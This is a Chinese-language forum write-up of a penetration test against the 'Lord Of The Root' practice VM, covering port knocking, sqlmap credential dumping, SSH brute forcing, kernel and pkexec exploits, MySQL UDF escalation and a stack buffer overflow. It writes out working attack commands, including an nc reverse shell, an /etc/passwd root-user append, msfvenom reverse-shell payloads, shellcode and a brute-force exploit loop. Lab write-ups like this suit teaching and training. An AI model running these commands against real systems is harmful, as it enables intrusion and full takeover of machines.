红队渗透测试之Lord Of The Root——缓冲区溢出

spider   ·   发表于 2022-10-21 12:01:55   ·   技术文章

hi!我又来啦~同学们

img

1. nmap信息收集

首先对靶机所在网段进行扫描存活IP

  1. nmap 192.168.27.0/24 -sP

img

2. nmap全端口扫描

  1. nmap -p- 192.168.27.193

用nmap进行全端口扫描

img

只有22端口开放

使用nmap进行进一步信息收集

  1. nmap -sS -sV -A -p22 -T5 192.168.27.193

img

3. 尝试SSH登录

  1. ssh 192.168.27.193

输入yes之后显示

  1. Easy as 123

img

意思是让敲震端口3次

4. 端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防止攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

  1. 第一种方法:knock 命令

linux安装:

  1. sudo apt install knockd

使用:

knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v

例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:

  1. knock 192.168.27.193 1 2 3 -v

imgimg

  1. hping3:TCP/IP数据包组装/分析工具

hping3 -S [IP地址] -p 1 -c 1

  1. hping3 -S 192.168.27.193 -p 1 -c 1
  2. hping3 -S 192.168.27.193 -p 2 -c 1
  3. hping3 -S 192.168.27.193 -p 3 -c 1

-S(—syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

-p —destport: 目的端口(默认为0),可同时指定多个端口

-c —count:指定数据包的次数

img

敲震三次后重新进行全端口扫描

  1. nmap -p- 192.168.27.193

img

发现了1337端口

img

5. 信息枚举

有完成敲击的机器才可以访问到1337

img

img

发现只有一张图片,并且源码中也没有包含什么信息

尝试访问robots.txt,一般情况下要对这个进行查看

http://192.168.27.193:1337/robots.txt

img

img

发现一串字符,感觉像是base64

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

直接在kali里尝试解密

  1. echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

发现还是base64继续转码:

  1. echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d

/978345210/index.php

发现目录!

img

6. SQL注入

登陆点可以尝试SQL注入或者暴力破解

直接尝试sqlmap

  1. sqlmap -u http://192.168.27.193:1337/978345210/index.php

Optimization

-o:开启所有优化开关

—predict-output:预测常见的查询输出

—keep-alive:使用持久的HTTP(S)连接

—null-connection:从没有实际的HTTP响应体中检索页面长度

—threads=THREADS:设置请求的并发数

—forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试

img

建议我们添加 —forms 参数进行再次尝试,参数的意思是将页面内所有能触发的点都去进行尝试

  1. sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms

img

存在SQL注入,获取数据库

  1. sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms -dbs

img

尝试直接sqlmap拿shell —os-shell

  1. sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms --os-shell

img

写入失败,可能是底层做了限制,那就只能暴库了

刚才爆出的4个库

[*] information_schema

[*] mysql

[*] performance_schema

[*] Webapp

有三个都是默认自带的,所以我们查看Webapp

  1. sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -dbs -D Webapp --tables

img

表名Users

爆破数据库表字段信息

  1. sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -D Webapp -T Users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、—columns:列出指定表上的所有列)

img

可看到数据库Webapp的表Users中存在字段id,password,username信息!

爆破字段内容信息

  1. sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -D Webapp -T Users --columns -C id,username,password --dump

(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、—dump:导出列里面的字段)

img

获得用户名密码

+——+—————+—————————+

| id | username | password |

+——+—————+—————————+

| 1 | frodo | iwilltakethering |

| 2 | smeagol | MyPreciousR00t |

| 3 | aragorn | AndMySword |

| 4 | legolas | AndMyBow |

| 5 | gimli | AndMyAxe |

+——+—————+—————————+

7. SSH爆破-MSF、Hydra

Hydra爆破

将爆破出来的账号密码分别放进一个文本文档,然后进行爆破SSH尝试

  1. hydra -L user.txt -P pass.txt 192.168.27.193 ssh

img

爆破出一个可以SSH登录的账号密码

login: smeagol password: MyPreciousR00t

  1. ssh smeagol@192.168.27.193` 然后输入密码 `MyPreciousR00t

img

SSH可以成功登录

并且顺带看到,这个账户不允许sudo提权

img

MSF爆破

  1. msfconsole
  2. search ssh_login

进入msf然后查找ssh登录的模块

img

使用ssh_login模块,显示需要用到的参数

  1. use auxiliary/scanner/ssh/ssh_login

img

USER_FILE 用户本

PASS_FILE 密码本

USERNAME 单个用户

PASSWORD 单个密码

STOP_ON_SUCCESS 爆破成功后会自动登录,并且反弹shell回来

  1. set rhosts 192.168.27.193
  2. set user_file /root/Desktop/6/user.txt
  3. set pass_file /root/Desktop/6/pass.txt
  4. set stop_on_success true

img

run运行

img

爆破完成后返回了用户密码,以及权限信息,还有版本信息,并且回弹了shell

  1. sessions -i

img

8. SSH登录

  1. ssh smeagol@192.168.27.193
  2. MyPreciousR00t

在kali开启http服务,下载sh脚本,赋予权限并运行

  1. python -m SimpleHTTPServer 80
  2. wget http://192.168.27.193:80/linpeas.sh
  3. chmod +x linpeas.sh
  4. ./linpeas.sh

img

对枚举出的信息进行排查

img

存在linux版本漏洞

img

上面的三个文件有问题,存在缓冲区溢出

查看数据库信息

  1. dpkg -l | grep mysql

img

img

Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

9. EXP内核提权

查看linux版本信息

  1. lsb_release -a

img

谷歌搜索:Ubuntu 14.04 exploit

img

https://www.exploit-db.com/exploits/39166

在kali上查找39166,定位位置,并且复制出来

  1. searchsploit 39166
  2. locate linux/local/39166.c
  3. cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/6/

img

直接下载就能用,编译没有任何参数,全程没有任何warning执行脚本,原地飞升root。

是用gcc编译的,目标机器上存在gcc

img

直接开启http服务,传到目标机器上

  1. gcc 39166.c -o YLion

img

授予权限,然后运行

  1. chmod +x YLion
  2. ./YLion

img

提权成功

可以看到root目录下存在一个py文件

img

内容是对缓冲区溢出的一个防护,存在缓冲区溢出的文件会在这三个文件中变来变去

10. CVE-2021-4034提权

将exp传到目标机上

  1. wget http://192.168.27.187:80/2021-4034exploit.c
  2. gcc 2021-4034exploit.c -o tq
  3. chmod +x tq
  4. ./tq

img

11. Mysql UDF提权

首先我们需要指定mysql账号密码,我们进入/var/www/的目录下,查找password

  1. grep "password" -rn

img

login.php中有password信息,所以直接在login.php中搜索root

  1. grep "root" -rn 978345210/login.php

img

root/darkshadow

然后查看一下mysql信息

  1. ps aux | grep mysql

img

是以root运行的,满足条件

登录mysql

  1. mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:

  1. show global variables like 'secure%';

img

secure_dile_priv是空值,可以进行UDF提权

查看插件目录:

show variables like ‘%plugin%’;

img

插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:

  1. use mysql;
  2. select user,host from user;

只能本地登录!

img

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:

类型 大小(单位:字节)

TinyBlob 最大 255

Blob 最大 65K

MediumBlob 最大 16M

LongBlob 最大 4G

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys: 还有 do_system

sys_eval,执行任意命令,并将输出返回

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

查找脚本

  1. locate lib_mysqludf_sys

img

x86系统,选择框中的那一行

复制出来,并且重命名一个简单的名字

  1. cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/Desktop/6/
  2. mv lib_mysqludf_sys_32.so YLion.so

img

将脚本上传到目标机,我传到了/tmp/目录下

img

然后进入数据库

  1. mysql -uroot -pdarkshadow
  2. use mysql

然后使用mysql数据库,并且创建一个表

  1. create table YLion(YLion longblob);

写入内容

  1. insert into YLion values (load_file('/tmp/YLion.so'));

img

  1. select * from YLion into dumpfile '/usr/lib/mysql/plugin/YLion.so';

将我们刚写入的内容,生成到插件目录下的YLion.so

  1. create function sys_exec returns string soname 'YLion.so';

(sys_exec可以平替为sys_eval)

  1. select * from mysql.func;

img

  1. select sys_exec('chmod u+s /usr/bin/find');

(sys_exec要上下对应)

将find提升到最高权限,退出数据库exit

find就可以执行任何命令

  1. find / -exec '/bin/sh' \;

img

拓展知识点:或者利用sys_exec、sys_eval

select sys_exec(‘nc -nv 192.168.27.187 6677 -e /bin/bash’);

openssl passwd YLion

YpIR51FecR9AY

select sys_exec(‘echo “YLion:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash” >> /etc/passwd’);

12. 缓冲区溢出

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

方法一

/SECRET/door2/file

/SECRET/door1/file

/SECRET/door3/file

之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略

  1. ls -lahR

img

可以看到SECRET目录下的三个子目录,里面各有一个file

注意,间隔了几分钟后,我们再次查看,发现文件大小发生了变化

img

一开始door3中的file大小为5.1k

img

现在door2中的file为5.1k

同时使用ldd命令查看file ldd(查看依赖情况)

img

在不断发生变化

这个是因为存在一个防护机制ASLR

img

我们查看ASLR设置

  1. cat /proc/sys/kernel/randomize_va_space

或者

  1. sysctl -a --pattern randomize

img

返回2

0 = 关闭

1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)

2 = 全随机。除了1中所述,还有heap。

如果没有设置ASLR的话,ldd看到的值也都是固定的

注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大

绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来

现在的情况就是,缓冲区溢出的文件随机,空间也随机

对于溢出来说,有几个点:

  1. 首先,溢出的点在哪里(偏移量/溢出值)
  2. 溢出后,后面的空间有多大,放合适的恶意代码进去
  3. 绕过安全保护机制

首先我们找到那个5.1k的file,然后把他搞到kali里面

我这里直接base64编码复制出来

  1. base64 file

img

放到本地的一个文本中,并且复原成file

  1. cat base64.txt | base64 -d > file

此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比

img

确认两个值一致,然后我们开始分析这个file

使用GDB进行分析!下面两个插件比较好用

安装pwndbg

记得更新kali源:https://blog.csdn.net/weixin_42380348/article/details/89959761

source /root/Desktop/6/pwndbg/gdbinit.py

  1. git clone https://github.com/pwndbg/pwndbg
  2. cd pwndbg
  3. sudo ./setup.sh

这里一定要更新源,在用代理更新下载!如果要修改就执行:

vi ~/.gdbinit —-用哪个就注释即可

安装peda

  1. git clone https://github.com/longld/peda.git ~/peda
  2. echo "source ~/peda/peda.py" >> ~/.gdbinit

调试file

我们现在测试一些file到底是否存在溢出

授予权限并尝试执行

  1. chmod +x file

img

显示给一个值

  1. ./file aaaaaaaaaaaaa

img

回显正常,把值加大

  1. ./file $(python -c 'print "A" * 2000')

img

回显段错误

查找一个脚本

  1. locate pattern_

img

这两个脚本是专门用作缓冲区溢出查找偏移量的

生成1000位值

  1. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

img

使用GDB执行值

run就是执行

  1. gdb file
  2. run Aa0A.........

img

img

这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置

0x41376641 in ?? ()

查看到错误点在41376641

分析错误点判断偏移量

  1. /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

img

在171的位置

尝试在偏移量171溢出后情况

  1. r $(python -c 'print "A" * 171 + "B" * 4')

在溢出后的位置写入BBBB

img

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

Nop空间测试ESP

由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来

  1. run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

写入171个A之后,写入4个B,之后写入90

img

ESP就是我们溢出之后执行shellcode的地方

  1. x/s $esp

img

0xffffc810: ‘\220’ <repeats 200 times>…

这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破

nop sled被访问。

恶意payload

peda help shellcode –— 关于 shellcode 的帮助

img

shellcode search exec –— 如何使用 ‘exec’ 搜索所有 shellcode

img

我们这里使用841

shellcode display 841 –— 显示找到的代码的来源

img

img

上面的部分是注释,下面的部分是代码

shellcode generate x86/linux exec —– 生成代码

img

shellcode = (

​ “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31”

​ “\xc9\x89\xca\x6a\x0b\x58\xcd\x80”

)

检查文件是否做了安全措施:

  1. checksec

img

这个就是ESP的地址,注意要倒序

0x ffffc860

ff ff c8 60

  1. \x60\xc8\xff\xff

增加nop sled被访问机会

可以增加10000….

  1. run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

img

可以拿到一个shell

for循环爆破找nop碰撞执行shell

for a in {1..1000}; do ./file $(python -c ‘print “A” 171 + “\xa0\x64\x8b\xbf” + “\x90” 20000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”‘); done

如果文件在几分钟后随机变动了,不在该目录底下,在没有for循环nop拿到shell后,又得跑到溢出file的目录下载执行一次for,很麻烦!

方法二

缓冲区溢出流程

https://blog.csdn.net/missmxr/article/details/121451920

进入door1,只有file文件,尝试分析猜测文件

objdump -d —no-show-raw-insn file —-查看可执行函数的十六进制显示file

strings file

查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!

参考百度百科熟悉strcpy:

https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin

https://blog.csdn.net/weixin_30709635/article/details/99100913

msf生成1000字符串,使用gdb调试

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

gdb file

run ….

查找溢出位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

溢出位置为171!验证下eip的内容!

如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!

vmmap查看信息 栈溢出

STACK:栈,用来保存函数运行时的临时变量等

HEAP:堆,一般是主动编写代码来分配和回收堆内存

CODE: 代码段,是用来存放代码的

DATA:数据段,一般用来存放全局变量

参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/

验证EIP

r $(python -c ‘print “A”171 + “B”4 + “C”*20’)

验证ESP

x/20b $esp

存在c的,那么确认坏字符!

确认坏字符

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00

现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:

-————

#!/usr/bin/env python

from future import print_function

for x in range(1, 256):

​ print(“\x” + “{:02x}”.format(x), end=’’)

print()

-————

r $(python -c ‘print “A”171 + “B”4 + “”‘)

x/256x $esp —-如果出问题就x和b换用

能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:

好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。

注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!

重新来,去掉0x09、0x0a和0x20:

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)

msf生成payload

-—————

windows:

msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b “\x00\x0a\x0d” -f py -v

Linux:

msfvenom -a x86 —platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b “\x00\x09\x0a\x20” EXITFUNC=thread -f c

linux2:

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b ‘\x00\x09\x0a\x20’ -e x86/shikata_ga_nai -fc

payload:

-a 框架选择

-p 载荷类型

LHOST 本机地址

LPORT

-b 坏字符

-e 要使用的编码器

-f 编译的语言

-c 指定要包含的附加 win32 shellcode 文件

-v 载荷的名称

-—————-

查看jmp

最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。

objdump -D file | grep -P ‘jmp|call’ | grep esp

回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!

bash执行shell

“\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33”

-——-

0xbf96b590

bf 96 b5 90

\x90\xb5\x96\xbf

#!/bin/bash

while true; do

$(find /SECRET -type f -size 5150c) $(python -c ‘print “A”171 + “\x90\xb5\x96\xbf” + “\x90”20000 + “\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33”‘) 2> /dev/null

sleep 1

done

ls -la —-查看文件大小

-size —-表示文件大小

-type —-文件类型

f 普通文件

-———

wget http://10.211.55.19:8081/exp.sh

chmod +x exp.sh

./exp.sh

成功!!!

用户名金币积分时间理由
Track-劲夫 180.00 0 2022-10-28 14:02:05 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-10-21 | 453 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.